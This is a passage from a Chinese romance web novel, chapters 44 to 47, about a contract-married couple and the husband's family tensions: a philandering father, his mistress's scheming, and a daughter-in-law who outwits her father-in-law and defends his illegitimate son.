医生来看过了,听他描述了白果的摄入量,说没什么问题,但是也赞同他的小心谨慎,白果这东西真不能多吃。 姚德平吓出一身冷汗,冲过热水澡后,躺在床上平复着虚惊。 邵姗姗以为他今晚会住在御景湾,就安排了应酬,他回来也没通知她,不是体贴她,而是他的心里此时此刻装着一家四口的回忆,顾不上她。 如果说姚德平跟孟淑慧的结合,是他因为孟家的背景而处心积虑上位,并不确切。年轻时候的孟淑慧美貌、才气、性情,无一不让他动心。 外界都说他喜欢邵姗姗这种明艳张扬的女人,其实不是。 他其实爱的是孟淑慧这样温婉的女子,就像一块上好的绸缎,无论是看着的光泽度,还是触手时的柔软细腻,都令人痴迷。 只是年轻时候的他,被岳父的光环压制,被外界的目光左右,无时不刻不在想着出人头地,没有心情好好品味这样的温情脉脉。 邵姗姗当他的秘书后,她大胆、主动,偶然撞见因为加班夜宿办公室的他晨勃,就敢自荐枕席,让他尝到了那种在岳父眼皮子底下偷偷摸摸的刺激。 姚德平不认为自己是薄情寡义的人,不然也不会把邵姗姗留在身边这么多年了,他跟孟淑慧之所以相处冷淡,是因为她总是过不去心里的坎。 可他们年纪都这么大了,儿子也娶了媳妇,那些陈芝麻烂谷子的事,该过去的就应该让它过去,说到底,无论他住在外面多久,老了都会回到她的身边,将来死了,也会与她合葬,哪里有邵姗姗的位置呢。 这么想着,姚德平觉得眼下正是契机修复夫妻关系,加上新儿媳确实懂事,他决定不再跟梁茂林一般见识,好好交流感情,找机会也谈谈两家婚礼的筹备。 他亲自给梁茂林发了信息:【梁董,何时有空,你我一聚?】 第44章 倪二期待了许久的圣诞派对终于如期而至。 在倪二原本的设想中,这是梁奚禾回归宁市社交圈的首秀,她要大肆、隆重地操办,除了给足梁奚禾面子,让父亲能在梁董面前狠狠长脸之外,她更想借此向外界传达一个强烈的信号——她是梁家大小姐最看重的世交小妹。 跟司家的婚事作罢后,她急需这样的信号给自己在名媛圈提提咖。 然而人算不如天算,她怎么都没想到,一向“深居简出”的梁奚禾会先去了林城东的泳池派对。 不光自己去了,还带了新婚丈夫孟家的太子爷。 首次曝光就这么没了,倪二私下里大为光火,对着邀请梁奚禾去泳池派对的自家大哥发了飙。脾气发完,她冷静下来一想,退一万步来讲,梁奚禾能来总归是如虎添翼的好事。 倪二收拾好心情,依然拿出了十分的热情张罗,甚至因为听说梁奚禾平安夜要迎接小姑子回家,体贴地主动将派对时间挪到了第二天。 谁知,圣诞节当晚,梁奚禾来是来了,也非常给面子地一身高定盛装出席了,可待了不到十分钟就撤了。 倪二把自己的裙摆揪得跟心情一样乱糟糟的。 她就知道,梁大小姐的光没那么好借! 梁奚禾没想这么多。 在英国的时候,几乎每周都有人以各种名义举办派对,她一直对此兴致寥寥。这次因为要还倪二人情,她不能再找借口推脱才露面的,但对应酬那些个说一句话绕九曲十八弯的大小姐们实在有点头疼。 当然,早退还有另外一个重要的原因——姚德平又不请自来,要舔着脸在满觉院住下。 下午,她和孟翰泽、姚以涵户外两小时结束后溜达回御景湾,正碰上姚德平的贴身管家从一辆商务车上下来,后备箱一开,露出几个银灰色的行李箱。 “这是?”孟翰泽问道。 管家一抬头发现他们仨,脸上浮起亲切中又不乏谄媚的笑容:“孟总,孟太太,小姐。”打完招呼后,马上殷勤地解释,“姚董说太太一个人在山上住着怪冷清的,正好他现在公事不忙,所以回来多陪陪太太。” 姚以涵眼睛微微睁大,似不敢相信从小盼到大的事终于露出了曙光。 梁奚禾的目光扫过那几个行李箱。 这老男人还真以为他能坐享齐人之福,想去哪儿就去哪儿呢? 她看向孟翰泽。 他没什么表情,喜怒不辨地回头找她:“我们先进去吧。” 到了屋内,孟淑慧正在书房里画画,对院门外的动静恍若未觉。 孟翰泽去给梁奚禾倒温水,姚以涵没忍住,喜上眉梢地出声:“妈妈,爸爸搬过来了……” 孟淑慧“嗯”了一声,笔尖未停,梁奚禾看着宣纸上一片接着一片、生机勃勃的竹叶,吃不准婆婆是开心,还是不开心。 孟翰泽端着水进来时,孟淑慧恰好收笔直起身,母子俩相视一眼,孟淑慧开口问道:“满觉院多他一个不多,少他一个不少,你们觉得呢?” 她的视线扫过三个孩子。 姚以涵愣怔住了,一时参不透话里的意思。 梁奚禾心里却豁然开朗,马上笑起来:“我跟妈妈想得一样……” 孟翰泽将水杯递给她,将她尚未出口的下半句话接了过去:“满觉院房子太小,多一个人还是拥挤。” 姚以涵这才听出了他们的口风,心里猛地一沉,她扫视过兄嫂,又看向唇角含笑、又继续作画的母亲,咬住了下唇。 梁奚禾喝了水,将章姨叫了进来。 “姚董身体不好,今晚我们吃点清淡的。” 接着,姚以涵就听见嫂嫂报菜名,水煮鸡胸肉、水煮青菜,特地嘱咐厨房是清水煮的水煮,点名不要碳水。 章姨虚心请教:“那调味呢?” 梁奚禾:“出锅前放点盐。”又道,“不用算我的份,我晚上要去个派对,涵涵想不想跟我一起去玩玩?” 被cue到的姚以涵回神,有点无措地看看母亲又看看哥哥。 梁奚禾已经摸清了这姑娘的性子,笑道:“别怕拒绝我,大胆地说你的安排。” 孟淑慧闻言停笔,抬眸看向耳根子顿时通红的女儿。 姚以涵迎着梁奚禾温和的目光,嗫嚅了两下,终于小声说道:“嫂嫂,我想陪爸爸妈妈吃饭……” “OK!” 见梁奚禾爽快应下,没因为自己的拒绝而生气,姚以涵又扫了母亲和哥哥两眼,两人也没有觉得她失礼,她才松了一口气。 “妈妈,那我先回去洗澡啦。” 梁奚禾跟孟淑慧打过招呼,准备回无远弗届,临走在姚以涵手上捏了一捏,用只有两人听到的声音说道,“尴尬啥。” 回御景湾的车上,梁奚禾还在想着,大概是父母的分居教姚以涵养成了这小受气包的性子,可太招人心疼了。 梁奚禾是独生女,亲戚里边也没什么弟弟妹妹,其他像夏末、倪二这样比她年纪小的小朋友认识是认识,终归不算熟悉,用不着她费心。 但姚以涵不同,这是孟翰泽的亲妹妹,约等于她的亲妹妹了。 以后她得多护着点。 车子停到满觉院门口,梁奚禾见整栋房子灯光如昼,不由哂笑,也不知道这位姚董是老得看不清了,还是过分沉迷于集所有灯光于一身,竟然把屋里屋外所有灯全开了。 进了屋,章姨将她的外套接过,小声汇报:“正嚼着呢。” 鸡胸肉这东西,一不小心就煮得柴了,而清水煮的又没啥味道,今晚这顿晚饭是既不好嚼,又不好吃的。 梁奚禾噙着一抹笑意走到餐厅,一家四口正沉默地享用晚餐。 孟翰泽第一个看到她,起身迎过来:“怎么这么早回来了?” 姚以涵下意识地跟着起身相迎,梁奚禾搭着她的肩膀将人摁住,就此亲昵地贴着她,向孟淑慧跟姚德平问好。 孟淑慧关心道:“派对上肯定吃不好,快回去卸妆吧,我让厨房把晚饭送过去。” 肯定不能让禾苗吃这干柴的东西,她让厨房开了小灶,直接送去无远弗届。 梁奚禾:“谢谢妈妈,我吃饱喝足才回来的。”故作姿态地往桌面上扫视了一下,“大家是不是不习惯健康餐啊?怎么还剩这么多?” 问完眼睛直直地朝姚德平看去。 他脸色不太好看,这些个毫无色香味的东西端上来的时候,他就沉下了脸,让撤下去。 谁知孟翰泽掏出手机发了篇“如何吃出健康”的文章给他,孟淑慧带头吃了起来,就连姚以涵都劝他养生为重。他想着自己是来修复关系的,更想长命百岁,这才不情不愿地啃起了鸡胸肉。 但真是难吃。这玩意儿,猪都不吃。 听梁奚禾这么问,姚德平正要批斗几句,就听到她将章姨找过来:“你们怎么没想到帮姚董把鸡肉撕成小条?” 章姨从善如流地端了盘子回去厨房。 梁奚禾笑眯眯地看向姚德平。 “这么多年不在您身边伺候,他们都不适应了。” 这话说得姚德平心里熨帖,脸色缓和不少。 梁奚禾又道:“从前您在那边住着,肯定好吃好喝的都少不了。但吃得好不好跟吃得健不健康是两回事,大鱼大肉容易吃出脂肪肝、高血脂,高血糖,高血压……” 姚德平心里一跳,这些问题他的体检报告单上都写着。 “鸡胸肉是不好吃,可对身体好呀,您要搬过来,那以后满觉院的伙食就通通改成健康餐吧。” 姚德平:“?” 以后? “嗯。”看出他的错愕,梁奚禾笑着点头,“以后我们都陪您一起吃。” 姚德平仅剩的一成胃口顿时尽失,他皱起眉头:“哪能天天盯着一样东西吃?” “那不会,您放心吧,鸡胸肉、牛腱子肉、三文鱼……优质蛋白质都会换着来。” 吃了一晚上,姚德平嘴里淡得一点味道都没有:“那行,以后宫保鸡丁、卤牛肉……” 话未说完,被梁奚禾打断:“那不行,清水煮的才健康。您没听说最近流行一句话,清水煮一煮,活到九十九?” 姚德平:“……” 就这么寡淡无味地吃到九十九?他顿觉余生也变得寡淡无味,不由得惦念起邵姗姗的拿手菜,松鼠桂鱼、剁椒鱼头…… 他轻咳一声,随后起身:“看来我在这里,你们也吃不好。这样,小梁你把菜单发给管家,让他看着给我安排。” 转向孟淑慧,“你说得对,这里点香,烟气缭绕的,我有点气闷,就先回去了。” 梁奚禾抿唇笑起来。 瘟神送走,一家四口吃了顿正常的晚饭,孟翰泽牵着梁奚禾回无远弗届。 路灯下,梁奚禾问他:“妈妈为什么不离婚?” 原来她以为孟淑慧这么忍辱负重,是因为心里还暗暗希望丈夫回心转意,但今天看来,肯定不会这样。 那为什么呢,这样的男人犹如破鞋,既不合脚,又不体面,干嘛不直接扔了呢? 孟翰泽:“等我拿回孟氏,她会离婚的。” 梁奚禾也猜到了,只是她不明白。 “千金散尽还复来,就算孟氏被分走一半,也好过搭进自己半生呀。” 对此,孟翰泽也没办法解释,各人有各人的价值观,也就有不同的取舍。 “大概,妈妈觉得这是她对孟氏的责任。” 梁奚禾沉默了一瞬,她早就看出来了,这家人的责任感强得可怕。 走了两步,她又问:“那你什么时候能拿回孟氏?” 她只能耍耍小聪明恶心恶心老渣男,彻底将人送走还得靠他。 孟翰泽答道:“三年之内。” “这么久?” 梁奚禾不懂商场,想起第一次谈婚前协议那次,“所以你那时候说你需要耐心资本?” “嗯。” 孟翰泽准备跟她解释,羲和特材上市之日,就是将姚德平踢出局之时。因为特材公司的上市,一来证明了他的经营能力,能获得股东最大限度的支持,二来也能将“内讧”带给股东和员工的损失降到最小,更有利于孟氏平稳过渡。 梁奚禾并不想知道这些,将空着的那只手伸过去拍拍他肩膀。 “我们坚持三年肯定是没问题的,梁氏肯定不会撤资,你尽管加油吧。” 孟翰泽:“……” 她刚说完,又蹙起眉头,“但三年后,你的目标达成,不会忘了你的义务吧?” 昏黄的路灯光线,将她的瞳孔笼成琥珀色。 孟翰泽停下脚步,握住她的肩膀。 “禾苗。” 四目相对,她的眼神中尚有打量。 他无比认真道:“你我之间,我的耐心资本绝对不止三年。” 第45章 他的眼神中涌动着的情意,梁奚禾懂,但懂了仍装不懂。 她是学商科的,经济学原理中有一个基础概念叫做边际效用递减规律。对于一段甜蜜的恋爱来说,结婚与否带来的幸福感提升有限,有时候还可能因为婚姻附带的家庭关系、家务琐事而产生负效用。 感情对于一段双赢的婚姻来说,也是同理。没有期待就不会失望的婚姻才最稳固。 梁茂林和奚云岚大概怎么都想不到,他们培养出来的继承人会将经济头脑用到择偶中去。但梁奚禾确实是这么想的,从目睹身边的二代三代们排列组合开始。 她很明白,如果自己想找一个有趣的人谈恋爱,就不该设定身外之物的条条框框。可脱离了这个外在条件,空有一个有趣的灵魂的人,真的能跟她走进婚姻吗?她的家庭、父母会真正接受吗? 因为不确定是不是可以两全——大概率鱼和熊掌是不能兼得的,既然如此,她又何必一头撞进恋爱脑中去? 所以她从一开始就将将婚姻和恋爱分得很清楚。而此时此刻,她选择的婚姻合伙人却试图和她将两者混为一谈。 梁奚禾唇角仍是浅浅的笑意。 “那么,孟总的耐心资本,想获得什么回报呢?”她问。 不待孟翰泽回答,她又将无数次被影视化的“感情甚笃”复述出来问他。 “是想让我每天早上醒来、晚上临睡前,都对你说一句‘我爱你’? “还是需要我多多嘘寒问暖,体贴关怀,时不时有爱心饭菜做给你吃?” 孟翰泽皱眉。 梁奚禾笑意更深:“我不像我妈妈那么能干,事业上没办法跟你共同奋斗。或者…… “你需要我发挥‘夫人外交’的作用?经常办办派对,组织饭局,打理好人脉拓宽关系网?” 她很大方地说,“虽然婚前协议里没有约定得这么具体,但你如果需要,我可以酌情考虑。” 孟翰泽没接话,将两人交握在一块儿的手放进大衣口袋里,带着她继续往前走。他脚下不疾不徐,有点闲庭信步的意味。 梁奚禾侧头打量了他几眼,就在她以为他不再继续这个话题收回目光的时候,孟翰泽才缓缓开口。 “禾苗,我原来认为满分的婚姻是势均力敌,双方互不相欠、甚至合作共赢。很抱歉,当初草草地领了证,让你觉得我们之间只有公事公办的协议约定。 “如果你依然觉得协议存在是必要的,那就让它继续存在。但我希望,跟我在一起的时候,你能忘了它。 “我们就像普通夫妻那样相处,没有甲方乙方权利义务。你保留自己的空间没问题,但我的所有时间空间都会对你敞开,你不要预设某个界限排斥靠近我。” 梁奚禾心里一动,随之而来的是一股子心虚。除了最后那条,其他的她似乎早就那么做了。 她清咳一声掩饰,故作深沉地跟他继续探讨:“你的意思是,以后我们要正常相处,互相增进了解吗?” 这么说离孟翰泽的预期还是有很大距离,但他还是“嗯”了一声表示肯定。 慢慢来吧,她愿意走出第一步就很好,剩下九十九步,他会走。 路过一盏路灯,两人并肩踱步的身影出现在脚下,又跑去前面,被逐渐拉长,显得依偎得更为紧密,看着就是恩爱的夫妻。 梁奚禾又无声地复述了一遍自己最后那句话,莫名觉得好笑——就像是第一次见面的相亲对象,因为互相合了眼缘,决定再接触接触试试看。 可是,万一接触的结果以失败告终,相亲对象可以潇洒拜拜,他们呢? 梁奚禾想,如果他们相处不好,最后不能退回到单纯的合作关系,他孟大总裁是不是还准备了什么应急预案? 她没问孟翰泽,纯粹自娱自乐地胡思乱想,孟总一把年纪才开始初恋的人,顶多因为分手跟她分居,应该不会因为分手而离婚吧。 像他这么靠谱的牛马不多的,梁奚禾又想起自己转发给部门经理的那一篇篇文稿,决定以后多说两句他爱听的话。人生如戏,谁还没点情商和演技呢。 但她高估了自己,晚上孟总又十分百分万分卖力气就是不涨新姿势的时候,她丧失了表情管理,一口咬在他的上臂上,嫌弃道:“你就不能多学学艺吗?” 孟翰泽:“……” “茂林,侄女的婚礼准备得如何了?”蒙宗友问道。 上午,梁茂林在晨会时接到老友的邀约,还挺诧异他怎么突然来了宁市。虽然蒙家在宁市还有M酒店,但这块业务他早就交给了女儿打理,自己常驻首都。 闻言,梁茂林笑起来,看来是替女儿接业务来了。 他爽气地回答道:“看了几个日子,还没敲定,等定了,你得帮忙把场地预留出来。” 蒙宗友哈哈一笑:“这还用你说。” 他家的M酒店就在梁茂林的东楼里,不说交情,就说生意,梁茂林的女儿要办婚礼,他还不把场地空出来? “有什么需要尽管跟蒙钰说。” “好,感谢。”梁茂林笑着点头。 随后,两人吃菜,中饭不喝酒,上了一壶普洱佐餐。 开始的时候,梁茂林没察觉,后来见对过的蒙宗友一次次提壶倒茶,不禁生出许多疑问。 是有什么难以启齿的事? 梁茂林不动声色地问道:“最近在忙什么?”状似随口闲聊。 蒙宗友沉浸在自己的心事里,嘴比脑子快:“啥也没忙,休了一个月假了。” “怎么突然休假这么久?”梁茂林更加惊讶,对面这位出了名的拼命三郎,不然也不可能从一个毫无依仗的孤儿,白手起家一路走到今天。 顶着梁茂林探究、关切的眼神,茶杯举到唇边,蒙宗友没喝得下去,只好放下杯子,实话实说。 “听说她下山了,我就没心思工作了。” 梁茂林没反应过来:“谁?” 蒙宗友黝黑的脸上浮现一丝可疑的红晕,梁茂林才后知后觉地想起记忆角落里的往事。 孟老先生乐善好施,建了不少孤儿园和学校,不仅如此,他还会定期去看望孩子们,有时也会带着女儿一起。 在蒙宗友懵懂的年纪里,心里就有一道靓丽的身影。虽然知道两人云泥之别,不敢有什么非分之想,但对于曾经的孟大小姐、如今的孟女士,他总免不了多一分关注。 “她下山……是准备离婚?”他问。 蒙宗友没什么想法,只是单纯地关心孟家后人、恩人之女的境况——他对自己说。 梁茂林却想起老友丧偶多年,大概是对初恋还存了几分念想,毕竟如今的蒙宗友论身家,也跟孟家旗鼓相当。 但是,就算孟女士如今是他的亲家,她的私事,他也无权探听,更遑论与其他人背后议论。 梁茂林看了蒙宗友一眼:“孟家姐姐相当疼爱禾苗,一直操心两个孩子的婚事,我跟云岚都很是感激。” 都是场面上的人,蒙宗友一听就明白了对方不想多谈,但暗示了自己,孟淑慧的下山是为了梁孟联姻,并非因为离婚。他有些失望,总觉得记忆里那个温柔笃定的女子不该有如此结局。 可这些,跟他有什么关系,他只是孟家资助的千万个孩子中的一个而已,她甚至都未必记得他。 蒙宗友将杯中茶一饮而尽,道:“我多管闲事说句话,茂林你别见怪。” 梁茂林:“你说。” 蒙宗友:“往后你们是亲家了,她有什么需要帮忙的地方你肯定多少知道些,方便的话你就告诉我,我一定尽力帮忙,算是回报孟老先生。” 孟淑慧的私事梁茂林不便过问,但他作为老丈人加合作伙伴,很清楚孟翰泽是怎么想的。 梁茂林笑道:“孟家姐姐最牵挂的不就是孩子嘛。” 点到为止。 元旦,司家的高奢酒店开业,高调、隆重地办了一个开业酒会,西楼这边热闹非凡,广场上还布设了一个红毯区。司峻,人如其名冷峻了些,但人员还不错。 这一晚,宁市跟孟氏这边交好的年轻一代们都纷纷盛装出席,跟几个明星一块儿走红毯,还同意司家在网络上发带高清直拍图的通稿做宣传。 梁奚禾和孟翰泽也没有搞特殊,一个穿了ElieSaab的高定,华丽的裙摆在闪光灯下波光璀璨,人在红毯上款款而行时,仿佛月光涟漪,一个是顶级羊绒手工西装套装。 颜值出众的小夫妻合体出现在红毯上时,到场的几位文娱圈明星都失色不少。那种丰厚的财力涵养出来的笃定与松弛,是单纯的妆造没办法打造的,现场的相机都被吸引过去,除了镜头,几乎今晚的嘉宾都在关注他们。 梁奚禾的步伐其实并不来自于松弛,而是不耐烦。 如果非要贴标签下定义,她应该属于对名利相当淡薄的人,对于她来说,骑着机车去跑几圈带来的满足感远远高于备受瞩目。 她耐着性子应酬,展现她作为孟翰泽新婚妻子的风采,以及梁家女儿的教养,还很注意地保持低调,在关注度太高之时,适时地将话题往司家的酒店上引,绝对不做喧宾夺主的事。 孟翰泽第一次看到这样的梁奚禾,是骄纵的、嫉恶如仇的、可爱的……许多面之外的又一面,她其实有一颗七窍玲珑心,过往只是懒得用心而已。 但他没舍得让老婆在烦不胜烦的应酬里沉浸式体验太久,牵着她离开人群,去找司峻。 “今晚父母们安排了聚餐,我们先走一步。” 第46章 今晚,梁茂林在东楼的M.酒店宴请姚德平。 其实是姚德平主动邀约的,但因为他前段时间刚刚出院,梁茂林觉得从场面上来说还是自己做东合适,就订了一桌。 没喊奚云岚,更没邀请孟淑慧,因为他没打算跟姚德平谈什么婚礼的筹备。无论姚德平有什么意见和建议,梁茂林都不关心也不在意。 当然这顿饭要是只有他们二人,梁茂林还嫌多浪费口舌,于是就喊上了还没走的蒙宗友,还有孟氏那位举足轻重的樊总。比起姚德平,梁茂林更在意这位客人。 因为羲和特材的关系,他跟这位樊总打过几次交道,打算趁此机会拉进一下关系,也让给这顿饭不至于毫无意义。 如此,这次家庭聚餐妥妥就演变成一个饭局。 梁奚禾与孟翰泽过来的时候,也没想到一屋子的大老爷们儿,还是互相看着不太熟、各有立场的那种应酬。 她陪着坐了一会儿。 敬了一圈酒,梁奚禾起身告辞,因为话题还围绕着羲和特材,孟翰泽这个实际负责人不好跟着走,她就很(没)大(义)方(气)地把他留了下来。 今晚大活动接着小饭局,梁奚禾难得有这么高强度的社交活动,出了包厢,她才觉得空气陡然清新起来。 不想乘电梯,她打算走走。穿过长长的廊道,她提溜着裙摆从旋转楼梯往下走,走到最后一级台阶,她一抬头,就见不远处的大厅里站着一个熟悉的人影。 是许久未见的姚博远,带帽卫衣加棉衣夹克的打扮,手里还拿着一份纸质材料,跟他对面西装革履的人站在一起,满满的少年感。 两人似乎在交谈,姚博远看不清表情,梁奚禾看了一眼就收回了目光,没打算过去打招呼。 手机振动,孟翰泽在微信上提醒她穿好外套。因为姚以涵过完元旦假期再回港城,这几天他们都会住在山上,她得到地库坐车。 但是他们的私人地库如今都有采暖,梁奚禾没把他的叮嘱放在心上,看了一眼就熄屏往前走。 “你来这里做什么,我也能猜到,但麻烦搞清楚场合。” “呵,也是,你们这种人要是有正确是非观,你今天也不会站在这里。” “这里不是你该来的地方,现在也不是你能出现的时候。” “赶紧走,不然我不介意让人过来请你。” 快要交错过的时候,盛气凌人的句子一句接着一句地传入梁奚禾的耳朵里,是站在姚博远对面那个男人说的。 这些话别说被劈头盖脸罩住的姚博远,就是她这个路人,听着也觉得刺耳,她停下脚步,回头看过去。 脸上浮着讥诮的男人她也见过,只不过前两次见面时,对方是一副正常说话的样子,没见戾气这么重。 很多人就是这样,不是划定圈子排外,就是仗着家世欺凌别人,而她最讨厌狗眼看人低的人了。 姚博远背对着她,梁奚禾不知道他什么反应,但是肯定怪难堪的。 她吸了一口气,走近两步,故作亲近地打招呼道:“博远,这么巧?” 听到她的声音,姚博远猛地身形一僵,手里的材料几乎瞬间被捏出了明显的褶皱。 他有些机械化地转身,对上梁奚禾的眼神,说不出一句话。 梁奚禾的眼风扫过旁边的男人,又看向他紧绷的面色,开口道:“受人欺负怎么不知道怼回去?” 姚博远抿唇,不知该如何解释。 见这位梁大小姐误会,一旁的樊瑞烦躁地解开西装扣子,叉起了腰:“谁欺负他了?梁小姐,你知不知道他爸爸是谁?” 梁奚禾自己是尝足了“爸爸是谁”红利的人,她一贯也打算继续躺平在父亲的成就上,可不代表她会有意地拿着父亲的名头到外边作威作福。 她眸色一冷,对上樊瑞的目光:“我不知道他爸爸是谁,也不关心。我只知道东楼是梁家的产业,谁要让人请我的朋友出去,得先问我同不同意。” 樊瑞急道:“他爸爸……” 梁奚禾不知道姚博远的父亲是微不足道还是有什么不堪,但已经不是株连的年代了,这不是姚博远在大庭广众之下被别人堂而皇之羞辱的理由。 她打断道:“樊总是我爸爸的贵客,我想为了我爸和你爸的胃口,樊先生还是适可而止。” 给了樊瑞一个警告的眼神,梁奚禾转身就走,走了两步见姚博远没有跟上来,便侧头道:“不走吗?” 姚博远凝滞了两秒,僵硬地跟她走出酒店。 走出一段,她没再提刚刚的事,问姚博远:“你刚刚是去哪儿?” 姚博远捏了捏纸张:“……正好要走。”声音里有几分艰涩。 “嗯。” 原本梁奚禾要走内部通道到私人地库,发生了这种事,她就好人做到底,一直将姚博远送到公共地库。 到了地库的电梯间,一阵冷风袭来,梁奚禾抱紧了胳膊:“那我就送到这儿了。” 这会儿,姚博远似乎才回过神,缓缓说了句:“……谢谢。” “不用。” 其实两人并不熟悉,梁奚禾不愿意让小朋友产生人情上的负担,酷酷地说道,“我只是看不惯有人欺负人。还有,夏末是我闺蜜的弟弟,你是他的朋友,我不可能视而不见。你不用在意。” 姚博远几不可闻地“嗯”了一声。 梁奚禾重新上楼。 一直到目送到电梯的楼层不断攀升直至两位数,姚博远才收回视线往外走。 地库里早有一辆车等着,他拉开车门,后座上的人看到他手里的材料,脸色不太好看。 “你爸没要,还是没见到你爸?”邵珊珊问。 姚博远坐进车内,将材料扔到她膝盖上。 他面色极为冰冷:“以后再对我耍心眼,我不能保证自己会做出什么事情。” 他见到樊瑞的时候就明白过来,什么你爸爸在饭局上跟人谈事,正好要一份重要的材料,我不方便去,你去送一下——都是邵珊珊编造的谎言。 不许他们跟孟氏的股东们接触,是姚德平定的规矩,因为他想尽量降低私事在股东们那里的负面影响。樊瑞在,代表大股东樊总也在。今晚邵珊珊编造借口让他上去,明显就想破了这条规矩。 邵珊珊确实是这么想的。近来姚德平转了性开始养生,大有要“传位”的意思,她的儿子还小,还没办法独当一面,她不能让他早早地退居二线,不然她的这么多年算什么。 邵珊珊心思一转,知道儿子性子倔,缓了神色,哄道:“我不是对你耍心眼,是对你爸爸耍心眼。你看他最近,又是让孟翰泽主持工作,又是要搬去山上,是不是鬼迷心窍?” “他在你这里才是鬼迷心窍。”姚博远不为所动道,“姚德平要做什么,那是他们家的事,跟我,跟你都没关系。” 邵珊珊一辈子惯会撒娇,这会儿炉火纯青地露出柔弱的姿态:“是啊,我就是一只猫,一只宠物,他高兴了就逗一逗,不高兴了就一脚踢开。我能说什么?我都自己受着了。” 声音里满是委屈,“可博远,你不一样,他生了你,要为你负责的。你是他儿子,不是他随随便便就能打发的。” 姚博远露出几分嫌恶的神色:“你别打着我的名义惦记别人家的东西,我有手有脚,想要什么自己会挣。” 邵珊珊对他油盐不进、恨不得立刻跟她划清界限的样子,颇为气恼,夹着的声音恢复了正常,她反问道:“那你想要梁小姐,靠自己也可以吗?” 姚博远猛地侧头看她。 邵珊珊一副笃定的样子,她刚刚将他仰头盯着电梯楼层久久不动的样子尽数收入眼里。 她道:“可惜啊,你晚了一步,人家已经是孟翰泽的老婆了。” 她笑笑,“不过没关系,所谓后来者居上,你也不是完全没希望。只不过,你要记住,足以跟梁家匹配的条件,不是你赤手空拳就能挣到的。” 她跟在姚德平身边的这些年,早就学会了如何拿捏着别人的软肋来占据谈判的制高点,这一招无往而不利。 今晚,她自以为窥探到了儿子内心的秘密,将这一招用到了自己儿子身上,想让他成为自己的同盟军,以及利剑。 “呵。” 姚博远却出人意料地松弛下来,所谓无欲则刚,他靠向靠背抱起胳膊,唇角露出一丝无所畏惧的讥笑。 “男盗女娼的那一套你自己留着吧,别说出来丢人现眼,我嫌脏了耳朵。” 前座的司机恨不得原地消失。 邵珊珊脸色大变,气得一阵胸闷,她还想在说什么,姚博远已经率先开口:“停车。”。 樊瑞过来东楼是受自家老爹交代,樊总一是要他问候姚董,二是认识认识梁董和蒙董。 无论大家现在有没有合作,未来的日子还长着,多认识些潜在的合作对象准没错。 樊瑞虽然表现得吊儿郎当,自家老爹的这番苦心却是再清楚不过。谁知,他还没上楼,就先得罪了梁家大小姐、孟家的女主人。别说能不能在大佬跟前刷脸了,这要是枕边风一吹,他跟孟翰泽还能好好玩耍吗? 啊啊啊,谁告诉他,他哪里做错了? 樊瑞气闷到不行,强压着情绪敬酒、又陪着唠嗑,直到散场把长辈们都送走的时候才终于忍不住拉着孟翰泽。 “什么事?”孟翰泽看看腕表,“我得回家了。” “知道你现在老婆最大,耽误不了你太长时间。”樊瑞将人推回包厢,合上门就问,“你老婆知不知道姚博远是谁?” 姚博远是什么样的人,孟翰泽从未关注过,但对这个人肯定不是一无所知。那两个人对于孟家的人来说,伤口也好、耻辱也罢,总之是有点忌讳的存在,因此,过去并没有什么人敢在他面前多提。 只有包括樊瑞在内的几个发小例外,他们会时时替他留意,在他还不能将孟氏握在手里时,帮他提防着来自明处暗处的冷箭。 孟翰泽:“我没跟禾苗提过。怎么了?” 樊瑞叉着腰,呼出一口气:“难怪呢!那小子刚找到这里来了,不知道打的什么主意,我正好碰上刺了几句,你老婆还以为我欺负人,替他出头来着!” 今晚除了梁茂林,还有跟梁家交好的客人在,真要被这私生子上来搅局,谁的面子上都不好看。私生子这东西,就是耻辱柱,也就姚德平这种人不知廉耻地明来明往,也难怪叫德平。樊瑞愤愤不平。 孟翰泽愣怔了一下,第一反应,她跟姚博远怎么会认识?但看樊瑞被气到的样子,马上敛了思绪,说道:“她一向有很强的正义感,不知道里面的弯弯绕绕,误会了你也很正常。不要往心里去。” “我当然犯不着跟这位大小姐生气。” 樊瑞搔搔头,“但我们做兄弟的都无条件站你,两家联姻,她是不是该多花点心思了解了解你?不管她私下跟姚博远是什么交情,最起码场面上她该避嫌的得避嫌啊。” 孟翰泽没接这个话茬。 樊瑞是关心他才会站在他的角度对梁奚禾有所怨怼,朋友的这份心意他收下了,但他不会因此跟朋友一起责怪妻子。 他拍拍樊瑞肩膀:“我不希望这些糟污的事坏了禾苗对孟家的印象,所以刻意没提。今天的事,我会跟她解释清楚。改天请你们到连廊聚聚。” 第47章 孟翰泽回到御景湾时,梁奚禾已经卸了妆、洗过澡,与姚以涵一道陪着孟淑慧在书房里聊天。 他抬腕看了看表,九点多了,往常这个点孟淑慧都该准备睡了,今晚似乎不同寻常。 等他走进书房,三人抬眸朝他看过来,率先开口的是姚以涵,她兴奋极了,眸子都比平常亮上几分。 “哥哥,今晚我和嫂嫂跟妈妈睡。” 孟翰泽:“?” 意外地看向老婆。 梁奚禾淡定地再次,无情地抛弃他:“你自己回去吧。” 孟翰泽:“……” 孟淑慧见状,笑道:“禾苗借我们一晚。” 孟翰泽还能说什么,松了松领带,说道:“早点休息。”识相地带上门出去了。 三个女人转移到房间卧谈,孟淑慧躺在中间,左边一个女儿,右边一个儿媳。章姨替她们关了大灯,只留墙角的落地灯亮着。 过去孟淑慧失眠严重,好不容易睡着了也会猛然惊醒,这盏灯照度是专业的医师调整好的,黄色的暗光能很好地抚慰她。这几年年纪大了,她的睡眠反而好了起来,许久没用上这夜灯。 今天重启,却不再让人觉得是凄风苦雨的世界中的安慰,而是暖融融的温馨,她有些恍惚。 姚以涵能清晰地想起上一次跟妈妈窝在一张床上的情景,那是十五年前,那时候她每天睡前都有妈妈讲故事。 久违的感觉令她一时心绪难平,胳膊下意识往旁边挪了稍许,蹭上妈妈的胳膊,感受到了妈妈的体温,像是跟妈妈之间断开的链接成功恢复了。 她这会儿特别感激嫂嫂提议一起睡,悄悄调整着自己因为泪意而乱了的呼吸。 梁奚禾来满觉院找游戏搭子时,母女俩正在安静地各看各的书,只是孟淑慧沉浸,姚以涵时不时瞥一眼妈妈。 那种孺慕之情,别人或许不察,作为同样渴望母爱的梁奚禾却懂。只是她和奚云岚都太刚,靠近不了。 原本是想帮涵涵,结果她躺在这里也有一点窝心。 三个人各怀心思地沉默了一阵。 梁奚禾忽然开口:“妈妈,你知道吗?” 孟淑慧好奇侧头:“嗯?” “今晚跟我爸聚餐的叔叔,是东楼M.酒店的老板,撞见我去西楼参加司家酒店的开业酒会,他不开心了。” 